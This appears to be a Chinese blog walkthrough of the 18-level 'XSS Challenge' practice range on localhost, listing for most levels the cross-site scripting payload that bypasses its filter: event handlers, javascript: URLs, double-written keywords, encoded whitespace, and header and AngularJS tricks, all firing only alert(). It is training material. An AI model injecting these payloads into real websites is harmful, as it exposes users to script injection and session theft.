XSS 挑战之旅通关记录

XSS 挑战之旅 是一个 xss 的靶场,一共 18 关,练练手

level 1

三步走

1
127.0.0.1/xsstest/level1.php?name=test<h2><script>alert('xss')</script><h2>

level 2

1
" onclick="alert('xss')"

level 3

1
'  onclick='alert(1)'

level 4

1
" onclick="alert(1)"

level 5

on替换为o_n, script 替换为 scr_ipt,且一律转为小写

1
123456"> <a href=javascript:alert(1) >XSS</a>

点击 xss

level 6

herf 也被替换成 he_rf 了,其他和 l5 一样

但是少了大小写转换:

1
"> <ScRipt> alert("xss")</script>

level 7

关键字替换为空,双写即可:

1
"> <scrscriptipt> alert("xss") </scrscriptipt>

level 8

过滤地比较严格

可以换行隔开关键字

1
javasc%09ript:alert(1)

level 9

检测 http:// 存在,不存在则阻止

且替换了 javascript,同样,回车隔开

1
javasc%09ript:alert('http://');

level 10

keyword 过滤较严格。

但是有三个隐藏参数:

t_linkt_historyt_sort,都手动加上:

?keyword=&t_link="&t_history="&t_sort="

发现只有 t_sort 有输出:

1
127.0.0.1/xsstest/level10.php?t_sort=" onclick='alert(1)' type="text">

level 11

代码中有隐藏参数,只有 t_sort 有输出

t_ref 猜测是 referer 的 xss,bs 改报验证后,常规 payload:

增加一个 referer:

1
referer: " onclick='alert(1)' type='text'">

我做到 level 10 的时候中断了一下,然后直接输入网址打开了 level 11

按照正常情况,level 11 页面中的 t_ref 是有值的

level 12

t_ua,这题是 ua xss:

1
" onclick='alert(1)' type='text'">

level 13

Cookie xss

1
" onclick='alert(1)' type='text'">

level 14

http://www.exifviewer.org

这个网站需要认证。。

这题暂时做不了,看了一下网上的 wp,是一个 EXIF XSS

level 15

注意

  1. 这题需要科学上网

  2. 这题网址有的问题,应该是

    http://127.0.0.1/xsstest/level15.php?src=1.gif

涉及到 AngularJS

简单来说,AngularJS 通过新的属性和表达式扩展了 HTML

源码中的 ng-include 即包含外部的 HTML 文件,文件名来自 src 参数,包含的内容将作为指定元素的子节点。

由于 ng-include 遵循 SOP,所以我们可以选择包 level 1:

1
?src='level1.php?name=test<h2><script>alert('xss')</script><h2>'

但是这样过不了,不知道为啥。。换 img 试试:

1
?src='level1.php?name=test<h2><img src=xss onerror=alert(0)><h2>'

level 16

对特殊字符进行了编码。script 被限制,用 on 事件代替;空格被限制,用 %0a 的代替(可 fuzzing)

1
?keyword=%3Cimg%0asrc=xss%0aonerror=%27alert(1)%27%3E

level 17

on 事件触发:

1
?arg01=a&arg02=b onmouseover=alert(1)

level 18

和 17 一样。。

1
?arg01=a&arg02=1 onmouseover=alert(1)

来呀快活呀


XSS 挑战之旅通关记录
https://www.tr0y.wang/2018/04/10/XSSchallenge/
作者
Tr0y
发布于
2018年4月10日
更新于
2024年4月19日
许可协议